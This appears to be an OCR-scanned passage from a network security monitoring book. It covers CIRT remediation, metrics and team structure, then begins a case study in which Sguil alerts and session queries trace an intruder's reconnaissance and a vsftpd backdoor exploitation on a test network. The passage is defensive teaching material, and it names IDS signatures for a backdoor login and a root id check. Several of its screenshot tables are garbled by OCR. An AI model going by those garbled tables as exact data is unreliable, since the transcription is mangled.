NSM process) depicts points during the incident detection and response 
subprocesses when time should be recorded. Figure 9-6 reproduces those 
key moments. 


Request more data 


rt 


Event observed/stored ———> Identification —— Validation ———» Documentation ——> 


Notification ——» Acknowledgment ——» Containment ——> Remediation 


Figure 9-6: Events for which time should be recorded 


So far, we’ve focused on containment, or countermeasures, designed 
to limit risk, but containment alone still leaves the victim computer com- 
promised. Once an attack has been contained, it’s time for remediation, or 
restoring the compromised asset to a trustworthy state. 


Remediation 


Remediation is another hot topic in the security industry. Some argue that 
systems can be “cleaned” to remove the intruder’s tools, persistence mecha- 
nisms, and access methods. Others say victim computers should be rebuilt 
from installation media or trustworthy backups. A few even say compromised 
systems should be reflashed or abandoned, because advanced intruders can 
implant persistence mechanisms in hardware! 

You should rebuild any system with which an adversary was known 
to interact, but only after fully scoping the incident. Here, interact means 
there is a forensic reason to assume the adversary acquired and utilized 
unauthorized access to a victim. It does not mean the intruder could have 
accessed the victim, but did not. The fact of that matter is that it is virtu- 
ally impossible for a CIRT to know all the actions an intruder took on any 
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victim. Usually, a CIRT sees only the proverbial *tip of the iceberg." After 
all, why jeopardize a remediation plan by trying to *clean" a victim, only to 
learn that disinfection failed to remove a persistence mechanism? 

How fast should you remediate? Some CIRTS strive to limit the time 
from detection to containment to one hour or less. Others are more aggressive 
(and ambitious) and strive to limit the time from adversary access to remedia- 
lion to one hour or less. The choice depends on the risk tolerance of your 
organization and the capabilities of the CIRT, IT teams, and constituents. 
Once you start tracking times from detection to containment, you may find 
that containment takes weeks, not an hour. Record these metrics and try to 
drive down the time as you continue to develop your process and tactics. 


Using NSM to Improve Security 


At this point, we have a framework to think about CIRT and security improve- 
ment. Let's look at a few examples of how it could work in practice. 


e Avendor proposes adding a probe to collect and interpret NetFlow 
records (a type of session data) from border routers. This activity 
belongs in the collection phase of the NSM process. Because the CIRT 
already gathers session data using Argus and Bro on SO sensors that 
are watching gateways, additional collection may not be necessary. The 
CIRT rejects the offer to buy NetFlow processing equipment. 


e Mandiant releases its report on APTI (hitp://www.mandiant.com/aptl/). 
The archive includes more than 3,000 indicators. The CIRT realizes it 
can use the indicators for IOC-centric matching activities, part of the 
analysis phase in the NSM process. Mandiant also releases over 100 pages 
describing tools used by APT] actors. The CIRT uses that information 
for IOC-free hunting analysis. 


e The time elapsed from incident detection to containment at a particu- 
lar company is on the order of weeks, and the CIO wants to decrease 
this to under one hour. A vendor proposes a new asset management 
system. Multiple business lines express enthusiasm for the new tool 
and form a working group to better manage asset inventory. The CIRT 
endorses this new system because it will decrease the time needed to 
identify asset owners and will improve the accuracy of incident notifica- 
tion during the escalation phase of the NSM process. 


e The networking team decides to try implementing a network access 
control (NAC) solution. The IT team members resist the program 
because they fear it will impede user productivity, but the CIRT thinks 
that this solution could be helpful during the resolution phase of the 
NSM process. The CIRT convinces the IT team to support the NAC 
solution. 
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These examples demonstrate how working within the NSM process 
can help CIRTS make better decisions regarding their operations. Rather 
than being led by the newest security fad or vendor tool, CIRTs can identify 
deficiencies in and improve all phases of their NSM process. By addressing 
existing gaps, the CIRT can reduce detection and response time and help 
identify problems in systems that are leading to compromise. 


Building a CIRT 


This book is primarily for those practicing NSM as individuals or as mem- 
bers of CIRTs. Those of you working as lone contributors may wish your 
constituent to expand the resources for handling NSM duties. To help jus- 
tify additions, track these key metrics: 


e  Theclassification and count of incidents 


e The time elapsed from incident detection to containment 


Take these metrics to management staff members and ask if they are 
satisfied with their numbers. Are they happy with the type and number of 
incidents per quarter and year? Are they content with the amount of time it 
takes to progress from incident detection to containment? If the answer is 
no, estimate the cost of adding manpower, new tools, and better processes. 
That's your justification for adding new CIRT capabilities, or even creat- 
ing the organization's first CIRT. (For more reasons to build a CIRT and 
related counter-threat operations, see my article "Become a Hunter" in the 
July-August 2011 issue of Information Security Magazine at http://taosecurity 
.blogspot.com/2011/12/become-hunter.html.) Once you've been given the approval 
to add CIRT capacity, the next decision is how to build a team. I recommend 
the general functions shown in Figure 9-7. 


Director of Incident Response 


Incident Detection and Applied Threat Infrastructure and 
Response Intelligence Development 


Architects 


Administrators 
Constituent Relations Team 


Figure 9-7: General CIRT structure 
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The CIRT structure includes the following: 


Director of Incident Response 


The director organizes, trains, and equips the CIRT to succeed. The 
director selects a deputy from one of the three CIRT components to 
assist with this mission, and keeps management away from the CIRT 
so the CIRT can do its job. 


Incident Detection and Response (IDR) Center 


This group is responsible for the daily analysis and escalation of secu- 
rity incidents. The IDR Center consists of incident handlers (IHs, expe- 
rienced analysts tasked with hunting), incident analysts (IAs, mid-level 
analysts who combine hunting with matching), and event analysts (EAs, 
beginning analysts who focus on matching). Analysts at all levels have 
access to all datatypes, but EAs and IAs may classify only events for which 
they are responsible. IHs train IAs and EAs, take them on digital hunt- 
ing trips, and operationalize lessons into the repeatable playbooks EAs 
use to identify intrusions. IHs open, manage, and close waves, depend- 
ing on IAs and EAs for support. If possible, the IDR Center works a 
24x7 schedule, with at least EAs on 24x7 duty and IHs and IAs on call. 


Applied Threat Intelligence (ATI) Center 


This group is responsible for digital intelligence activities, internal 
security consulting, adversary simulation, red teaming, and penetration 
testing. It includes the following teams: 


e An Intelligence Team provides reporting support during waves and 
regular briefings and updates on adversary activity to the CIRT and 
constituents. The team members also search evidence for indicators 
of compromise and analyze it to extract adversary tools, techniques, 
and procedures. 


e The Red Team proactively assesses and tests the organization to 
determine its security posture by simulating a wide variety of 
threats. This team provides a metric against which CIRT perfor- 
mance can be measured. 


e The Blue Team members act as internal security consultants. They 
help the organization improve the security of their assets. 


Infrastructure and Development (ID) Center 


This group enables the other two CIRT components by employing soft- 
ware developers who code production-grade tools. It designs, builds, 
deploys, and runs the collection, analysis, and escalation tools. It also 
leads development of new detection and response techniques. While 
the other teams may develop proof-of-concept tools to support their 
missions, the ID Team eventually assumes responsibility for those tools. 


Constituent Relations Team 
This group acts as an intermediary between the CIRT and its constitu- 
ents. These team members help keep things running smoothly between 
CIRT and constituents, and they represent the CIRT outside the com- 
pany itself. 


Conclusion 


This chapter explained the enterprise security cycle consisting of planning, 
resistance, detection, and response phases. Many organizations pour all 

of their effort into planning and resistance, but invest next to nothing for 
detection and response. 

In recent years, as persistent intruders have sliced through routine 
defenses, organizations have begun to realize the value of detection and 
response. If adversaries lose access to an organization before they can accom- 
plish their mission, then they lose. The CIRT wins every time it defeats an 
adversary before he can steal, alter, or deny access to business information. 

The NSM process of collection, analysis, escalation, and resolution is 
a powerful framework that can empower CIRTs and frustrate adversaries. 
In order to be successful, CIRTs must classify and count all incidents they 
detect, as well as measure the time from incident detection to containment. 
They should develop time-sensitive processes for managing incidents, and 
structure themselves to offer a mix of detection, intelligence, and support 
functions. 

With this understanding in place, we now turn to a couple of case stud- 
ies showing NSM operations in action. 
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SERVER-SIDE COMPROMISE 


This is the moment of truth. Now you are 
ready to see NSM in action. In this chapter, 





we'll put the theory, tools, and process to 

work in a simple compromise scenario. So far, 
you've implemented a sensor using SO and collected 
some NSM data. Now you plan to analyze the avail- 
able evidence. 


This chapter demonstrates a server-side compromise—one of the major 
categories of malicious network activity you're likely to encounter. The next 
chapter demonstrates a client-side compromise, which may be even more 
popular than the server-side variant. We begin with a server-side compro- 
mise because it is conceptually easier to understand. 

Because this is a book about NSM, in this chapter and Chapter 11 we'll 
look at intrusion patterns for two popular network-centric attack types. 
For example, I won't discuss inserting a malicious USB drive into a laptop, 
or password guessing by a rogue insider sitting at an internal computer 
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terminal. Instead, we'll focus on attacks across the network. These are 
remote attacks, rather than /ocal variants requiring interaction with a system 
that is physically or virtually already available to an intruder. 


Server-side Compromise Defined 


Chapter 10 


A server-side compromise involves an intruder deciding to attack an applica- 
tion exposed to the Internet. The application could be a web service, a 
file transfer protocol service, a database, or any other software listening to 
Internet traffic. Figure 10-1 shows a generic attack pattern for a server-side 
compromise. 


1. Intruder initiates attack against exposed, 
vulnerable application on victim system. 


NETWORK CONNECTION 


Intruder -------------------------- = Victim 


2. Attack method exploits vulnerable application 
on victim system to execute code or commands. 


NETWORK CONNECTION 


Intruder P———————— ntmet eeen me > Victim 


Exploited 


3. Malicious code interacts with intruder using one of three ways: 
a. Intruder repurposes existing connection to victim application 
OR 


b. Intruder initiates new connection to backdoor created by 
malicious code 


OR 


c. Malicious code causes victim to reach back to intruder 


Figure 10-1: Server-side compromise attack pattern 


The intruder will reach out to the application to learn more about 
it. This act of reconnaissance qualifies as a Cat 6 incident, as discussed 
in Chapter 9 (see Figure 9-5). If the intruder tries to take advantage of 
any vulnerabilities in its code, that act qualifies as a Cat 3 incident. If the 
intruder manages to get the application to do his evil bidding, the attack 
is successful and exploitation has occurred. According to the categories out- 
lined in Figure 9-5, we now have a Cat | intrusion on our hands. After the 
intruder executes malicious code or commands on the victim computer, he 
opens one or more channels to further enhance his control of the system. 
This is called a command-and-control (C2) channel. Establishing a C2 channel 
qualifies the activity as a Breach 3 intrusion. 

Once the intruder establishes C2 with the victim, he can execute the 
rest of his game plan. Perhaps he wants to steal information from this first 
victim. Perhaps he wants to pivot from the first victim to another computer 


or application inside the company. Maybe he wants to bounce through this 
victim and attack an entirely different organization, using the newly com- 
promised victim as a hop, or jumping-off point. 

Regardless of what the attacker chooses to do next, the goals of the 
CIRT at this point are to quickly scope the extent of the intrusion and to 
take rapid containment actions to mitigate risk of data loss, alteration, and 
degradation. 


Server-side Compromise in Action 


For this chapter's example, we'll walk through a server-side compromise 
that occurs when an intruder attacks an exposed service on a vulnerable 
computer that is monitored by a stand-alone NSM platform running SO. 
We'll examine what a sample intrusion looks like in NSM data, and figure 
out how to make sense of that data. 

The target network is a new segment on the Vivian's Pets network, as 
shown in Figure 10-2. The network consists of a server (192.168.3.5), a desk- 
top (192.168.3.13), and supporting network equipment. An NSM sensor 
watches the uplink to the Internet through a network tap. The company 
CIRT members created what they believed was an isolated test network 
with a few computers in order to learn more about security. Unfortunately, 
they failed to effectively protect the systems on this segment. In the process 
of trying to learn more about computer security, they may have exposed the 
company to additional risk. 


- 
e 
e 








Server 
192.168.3.5 





Desktop 
192.168.3.13 


Figure 10-2: Test network on Vivian's Pets network 
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In this configuration, the NSM platform will see traffic to and from the 
test network. For simplicity, I've configured the network so that NAT is not 
required, and when you see the test network interacting with computers out- 
side the Vivian's Pets network, you should assume that no translation takes 
place. (In the real world, you would likely need to deal with some degree of 
obfuscation due to NAT issues, as described in Chapter 2.) 


Starting with Sguil 


The work of the Vivian's Pets CIRT begins with a visit to its Sguil console, 
which the team uses as its primary interface to NSM data. Recall that Sguil 
allows analysts to investigate alerts by viewing session and full content data, 
as well as some transaction data. 

One day, an analyst logs in to the Sguil console for the NSM platform 
shown in Figure 10-2 and sees the alerts shown in Figure 10-3. 


























SGUIL-0.8.0 - Connected To localhost 





File Query Reports Sound: Off ServerName: localhost UserName: sovm UserID: 2 





































192.168.3.130 43181 192.168.3.1 53 17 PADS New Asset - unknown domain f 
SO... 4.5 2013-03-09 21:32:07 203.0.113.10 59270 192.168.3.5 5900 6 PADS New Asset - vnc VNC (Protocol 003.003) | 
SQ... 4.74 2013-03-09 21:32:07  203.0.113.10 47085 192.168.3.5 22 6 PADS New Asset - ssh OpenSSH 4.7p1 (Protocol 2.0) 
SO... 4.73 2013-03-09 21:32:07 203.0.113.10 46866 192.168.3.5 21 6 PADS New Asset - ftp vsFTPd 2.3.4 
SO... 477 2013-03-09 21:32:08 — 203.0.113.10 44428  192.168.3.13 21 6 PADS New Asset - ftp vsFTPd 2.3.5 
SO: 4.78 2013-03-09 21:32:08 203.0.113.10 39653 192.168.3.13 22 6 PADS New Asset - ssh OpenSSH 5.9p1 (Protocol 2.0) 
SO... 4.76 2013-03-09 21:32:08 — 203.0.113.10 34202 192.168.3.5 6667 6 PADS New Asset - unknown @irc 
SO... 4.80 2013-03-09 21:32:13 203.0.113.10 37866 192.168.3.5 111 6 PADS New Asset - unknown @sunrpc 
SO... 4.79 2013-03-09 21:32:13 203.0.113.10 58931 192.168.3.5 2049 6 PADS New Asset - unknown @nfs 
SO... 4.81 2013-03-09 21:32:13 203.0.113.10 51225 192.168.3.5 445 6 PADS New Asset - smb Windows SMB 
SO... 4.82 2013-03-09 21:32:14  203.0.113.10 58527 192.168.3.5 80 6 PADS New Asset - http Apache 2.2.8 (Ubuntu) 
SO... 4.84 2013-03-09 21:32:17  203.0.113.10 44125 192.168.3.5 2121 6 PADS New Asset - ftp ProFTPD Server 1.3.1 
SO... 4.85 2013-03-09 21:32:17 — 203.0.113.10 46856 192.168.3.5 25 6 PADS New Asset - smtp Postfix SMTP (metasploitable.l... 
SO... 4.83 2013-03-09 21:32:17 203.0.113.10 54794 192.168.3.5 3306 6 PADS New Asset - unknown @mysq! 
S0... 4.87 2013-03-09 21:32:28 — 203.0.113.10 47992 192.168.3.5 8180 6 PADS New Asset - http Apache Coyote 1.1 
so... 3.6012 2013-03-09 21:38:38 192.168.3.5 6200 203.0.113.10 60155 6 GPL ATTACK RESPONSE id check returned root 
so.. 3.6011 2013-03-09 21:38:38 203.0.113.10 50376 — 192.168.3.5 21 6 ET EXPLOIT VSFTPD Backdoor User Login Smiley 
SO... 4.88 2013-03-09 21:42:00 —203.0.113.10 60155 192.168.3.5 6200 6 PADS New Asset - sql MySQL 3.0.20-0.1ubuntu1 
so... 3.6015 2013-03-10 01:59:43 203.0.113.77 192.168.3.5 T GPL ICMP_INFO PING *NIX 
so... 3.6014 2013-03-10 01:59:43  203.0.113.77 192.168.3.5 i GPL ICMP INFO PING BSDtype y] 








[ Show Packet Data | Show Rule 
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Search Packet Payload | C Hex @ Text [ NoCase 


Whois Query: * None / SrcIP / DstIP 




















Figure 10-3: Sguil console for Vivian's Pets 


The default Sguil console displays alert data. The alerts shown here 
are generated primarily by the PRADS passive asset detection system 
(with entries prefaced by PADS) and by the Snort IDS engine (with entries 
prefaced by GPL or ET). 

We see a slew of PRADS events with source IP address 203.0.113.10. 
This IP address represents a remote intruder. (The 203.0.113.0/24 net 
block is reserved for documentation purposes per RFC 5735, along with 
the 198.51.100.0/24 net block we saw in Chapter 2.) 
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The events starting with Alert ID 4.75 and ending with 4.87 represent 
PRADS reporting the discovery of new services on two computers: 192.168.3.5 
and 192.168.3.13, the two systems in the test network segment shown in 
Figure 10-2. As PRADS learns about services by watching computers interact 
with them, it generates these sorts of alerts. Here, the result is a handy sum- 
mary of at least some of the services that the remote intruder at 203.0.113.10 
appears to have discovered. Starting at 2013-03-09 21:32:07, the timestamp 
on the first alert with 203.0.113.10 as the source IP address, we see that 
203.0.113.10 conducted network reconnaissance against at least two com- 
puters in the test network. 

What about the other activity? The first alert, with source IP address 
192.168.3.130, appears to be PRADS reporting the discovery of a DNS server 
on 192.168.3.1. That is not unusual. The alerts after the PRADS events from 
203.0.113.10 appear to be more worrying. 

Before digging into these alerts, let's take a slight detour to validate our 
hypothesis that 203.0.113.10 conducted network reconnaissance against this 
test network. 


Querying Sguil for Session Data 


To determine just what network reconnaissance 203.0.113.10 performed, 
we can query Sguil for session data to or from 203.0.113.10. Because of the 
number of target services in the Sguil console, we can guess that 203.0.113.10 
scanned many TCP ports on the two target computers. Therefore, when we 
query for session data in Sguil, we’ll manually adjust the session limit count 
upward from 1000 results to 10,000 results. 

To perform the session data query, we highlight one of the alert records 
showing 203.0.113.10 as the source IP address, and then select Advanced 
Query > Query Sancp Table > Query SrcIP, as shown in Figure 10-4. 





Alert ID Date/Time P Event Message 


SO... 4.72 2013-03-09 21:31:05  192.168.3.130 43181 192.168.3.1 53 17 PADS New Asset 








T 
1 

RT 1 so. 4.75 2013-03-0921:32:07  203.0.113.10 59270 — 192.168.3.5 5900 6 PADS New Asset 

RT 1 so. 4.74 2013-03-09 21:32:07 Quick Query M5 192.168.3.5 22 6 X PADS New Asset 

RT 1 so... 473 2013-03-0921:32:07 Query Event Table pf 6 PADS New Asset 

RT 1205590: 4.77 2013-03-09 21:32:08 Dshield IP Lookup E Query Sancp Table fo z OE he 

:32:08 20: ) 396 

RT 1 so 4.78 2013-03-0921:32:08  203.0.113.10 396! Query PADS Table — » Query SrcIP/1 Hou set 

RT 1 so. 4.76 2013-03-0921:32:08  203.0.113.10 342 kz set 
Query DstIP 

RT 1 so... 4.80 2013-03-09 21:32:13 203.0.113.10 37866 192.168.3.5 set 
Query DstIP/1 Hour 

RT 1:550. AP 2013-03-0921:32:13  203.0.113.10 58931 192.168.3.5 set 
Query Src To Dst 

RT 2 so. 4.81 2013-03-0921:32:13  203.0.113.10 51225 192.168.3.5 set 
Query Src To Dst/1 Hour 

RT 1 so. 482 2013-03-09 21:32:14  203.0.113.10 58527 192.168.3.5 ou u rA^U3 wew asset 











Figure 10-4: Querying for session data using the source IP address 


The resulting Query Builder window offers two Where Clause boxes for 
us to edit. We need to make sure that the default start times for the session 
records will capture the data we care about. In this case, the activity began 
on March 9, 2013, at 21:32:07 UTC, so we modify the Where Clause boxes 
to search for the proper time, as shown in Listing 10-1. 
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WHERE sancp.start time > '2013-03-09' AND sancp.src ip = INET ATON('203.0.113.10') 





Listing 10-1: Search syntax for session data involving 203.0.113.10 


After also adjusting the LIMIT field in the Query Builder window from 
1000 to 10,000 results, we choose Submit to run the query. The answer from 


the Sguil database produces 2104 records, beginning with those shown in 
Figure 10-5. 


SGUIL-0.8.0 - Connected To localhost 
File Query Reports Sound: Off ServerName: localhost UserName: sovm UserID: 2 2013-03-13 18:20:24 GMT, 


‘eatin vents sated ents) Sane Que 


Close |( SELECT sensor.hostname, sancp.sid, sancp.sancpid, sancp.start_time as datetime, sancp.end_time, INET NTOA(sancp.src ip), sancp.src_port, 
INET_NTOA(sancp.dst_ip), sancp.dst port, sancp.ip proto, sancp.src pkts, sancp.src bytes, sancp.dst pkts, sancp.dst bytes FROM sancp IGNORE INDEX |- 
Export | (p. key) INNER JOIN sensor ON sancp.sid=sensor.sid WHERE sancp.start time > '2013-03-09' AND sancp.src ip  INET ATON('203.0.113.10')) UNION ( : 





Pr 


sovm-eth1 5.1362864... 2013-03-09 21:31:44 2013-03-0921:31:46 — 203.0.113.10 192.168.3.1 
sovm-eth1 5.1362864.. ^ 2013-03-09 21:31:44 2013-03-09 21:31:46 — 203.0.113.10 192.168.3.130 
sovm-eth1 5.1362864... 2013-03-09 21:31:44 2013-03-09 21:31:44 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 131: 2013-03-09 21:31:46 — 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362864... 1315 2013-03-09 21:31:47 203.0.113.10 192.168.3.254 
sovm-eth1 5.1362864... 2013-03-09 21:31:45 2013-03-09 21:31:47 — 203.0.113.10 192.168.3.131 
sovm-eth1 5.1362864... 2013-03-09 21:31:45 2013-03-09 21:31:45 — 203.0.113.10 192.168.3.1 
sovm-eth1 5.1362864... 2013-03-09 21:31:45 2013-03-0921:31:45 — 203.0.113.10 192.168.3.1 
sovm-eth1 5.1362864... :31: 2013-03-0921:31:46 — 203.0.113.10 192.168.3.130 
sovm-eth1 5.1362864... 331: 2013-03-0921:31:46 — 203.0.113.10 192.168.3.130 
sovm-eth1 5.1362864... :31: 2013-03-0921:31:46 — 203.0.113.10 192.168.3.130 
sovm-eth1 5.1362864... ELE 2013-03-09 21:31:46 — 203.0.113.10 192.168.3.1 
sovm-eth1 5.1362864... 2013-03-09 21:31:46 2013-03-09 21:31:46 — 203.0.113.10 192.168.3.130 
sovm-eth1 5.1362864... 2013-03-09 21:31:47 2013-03-09 21:31:47 — 203.0.113.10 192.168.3.131 
sovm-eth1 5.1362864... :31: 2013-03-09 21:31:47 203.0.113.10 192.168.3.131 
sovm-eth1 5.1362864... :31: 2013-03-0921:31:47 — 203.0.113.10 192.168.3.254 
sovm-eth1 5.1362864... 2013-03-09 21:31:47 2013-03-09 21:31:47 — 203.0.113.10 192.168.3.254 
sovm-eth1 5.1362864.. 2013-03-09 21:31:47 2013-03-09 21:31:47 203.0.113.10 192.168.3.254 
sovm-eth1 5.1362864... 2013-03-09 21:31:47 2013-03-0921:31:47 — 203.0.113.10 192.168.3.254 
sovm-eth1 5.1362864... 131% 2013-03-09 21:31:47 — 203.0.113.10 192.168.3.131 
sovm-eth1 5.1362864... :31: 2013-03-0921:31:47 — 203.0.113.10 192.168.3.131 
sovm-eth1 5.1362864... Era 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... E 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-0921:32:01 — 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362864... :32: 2013-03-0921:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... :32: 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864.. ^ 2013-03-09 21:32: 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864.. 2013-03-09 21:32:01 2013-03-09 21:32:01 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362864... :32: 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.13 
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Figure 10-5: Session data to or from 203.0.113.10 showing reconnaissance phases 1 and 2, and the begin- 
ning of phase 3 


The activity from 203.0.113.10 begins at 2013-03-09 21:31:44. We can 
break the sequence of events into several distinct elements. 


e First, the attacker uses ICMP (IP Protocol 1) to perform reconnaissance 
against a subset of systems on the 192.168.3.0/24 network. We can't be 
sure, but perhaps the intruder did earlier reconnaissance (not recorded 
here) that led him to try to ping only these six systems. The ICMP scan 
is phase 1. He begins phase 2 at 2013-03-09 21:31:45, consisting of scans 
against ports 80 and 443 TCP on several systems. 
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e Phase? begins at 2013-03-09 21:32:01 with scans against a wide variety 
of TCP ports. In phase 4, also at the same timestamp, we see smaller 
scans of what are likely open ports. (The activity is so fast that it appears 
to all start in the same second of time.) 


Figure 10-6 shows the end of phase 3 and the beginning of phase 4. 


SGUIL-0.8.0- Connected To localhost 
File Query Reports Sound: Off ServerName: localhost UserName: sovm UserID: 2 





Close (SELECT sensor.hostname, sancp.sid, sancp.sancpid, sancp.start time as datetime, sancp.end time, INET NTOA(sancp.src ip), sancp.src port, 
INET NTOA(sancp.dst ip), sancp.dst port, sancp.ip proto, sancp.src pkts, sancp.src bytes, sancp.dst pkts, sancp.dst bytes FROM sancp IGNORE INDEX 
Export | (p. key) INNER JOIN sensor ON sancp.sid=sensor.sid WHERE sancp.start time > '2013-03-09' AND sancp.src ip = INET_ATON('203.0.113.10') ) UNION ( 


Start Time nd Time SrcIP rt Dst IP DPort Pr S Pckts 


sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362864.. ^ 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362864.. ^ 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-0921:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864.. ^ 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864.. 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864.. ^ 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864.. 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:01 2013-03-09 21:32:01 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864.. ^ 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864.. ^ 2013-03-09 21:32:01 2013-03-0921:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864.. ^ 2013-03-09 21:32:01 2013-03-0921:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 203.0.113.10 192.168.3.5 


Ooooooocoooooooooooooooo0oo0oooooo 
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Figure 10-6: Reconnaissance phase 3 ends and phase 4 begins. 


Figure 10-7 shows that phase 4 ends at 2013-03-09 21:32:06 with the 
intruder changing tactics again. At 2013-03-09 21:32:07, he conducts addi- 
tional reconnaissance, beginning phase 5—interrogating active services. 
We see him sending and receiving higher amounts of data as shown in the 
far-right columns in Figure 10-7. (Higher counts of data sent between two 
computers typically signify a more “meaningful” conversation. Low counts 
are usually just exchanges of state information for the TCP three-way hand- 
shake, for example.) 

The four right-most columns in Figures 10-5 through 10-8 show packets 
and data sent by the source, and packets and data sent by the destination. 
The intruder is likely profiling the target active services using a recon- 
naissance tool to gather information about the services available. The 
intruder compares information derived from the scan to find available 
attack methods, and if he finds one that takes advantage of an exposed 
vulnerability, he will exploit that weakness. 
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SGUIL-0:8:0 - Connected To localhost 
File Query Reports Sound: Off ServerName: localhost UserName: sovm UserID: 2 2013-03-13 18:29:58 GMT| 


(estima vents cated Een) sanp Que 1 


Close |( SELECT sensor.hostname, sancp.sid, sancp.sancpid, sancp.start_time as datetime, sancp.end time, INET NTOA(sancp.src ip), sancp.src port, 
INET NTOA(sancp.dst ip), sancp.dst port, sancp.ip proto, sancp.src pkts, sancp.src bytes, sancp.dst pkts, sancp.dst bytes FROM sancp IGNORE INDEX 
(p. key) INNER JOIN sensor ON sancp.sid-sensor.sid WHERE sancp.start time > '2013-03-09' AND sancp.src ip = INET_ATON('203.0.113.10') ) UNION ( 


nx ID 





sovm-eth1 5.1362864... — 2013-03-09 21:32:01 :32: 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:01 2013-03-09 21:32:01 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:04 2013-03-09 21:32:04 — 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362864... — 2013-03-09 21:32:06 2013-03-09 21:32:06 — 203.0.113.10 192.168.3.13 
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:18 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:07 2013-03-09 21:32:18 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:07 2013-03-09 21:32:13 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:13 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:07 2013-03-09 21:32:13 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... — 2013-03-09 21:32:07 2013-03-09 21:32:07 — 203.0.113.10 192.168.3.5 
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:17 203.0.113.10 192.168.3.5 
